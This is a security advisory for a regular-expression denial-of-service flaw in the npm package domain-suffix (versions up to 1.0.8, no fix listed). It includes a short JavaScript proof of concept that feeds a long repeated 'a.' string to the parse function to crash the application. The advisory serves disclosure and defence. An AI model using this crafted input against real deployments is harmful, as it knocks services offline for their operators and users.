GHSA-cqfh-c4c5-c2hg
domain-suffix RegEx Denial of Service
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | domain-suffix | <= 1.0.8 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.
## PoC
```js
async function exploit() {
const domainsuffix = require(\"domain-suffix\");
// Crafting a string that will cause excessive backtracking
const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();
```
References
External links from the advisory. They lead to third-party sites.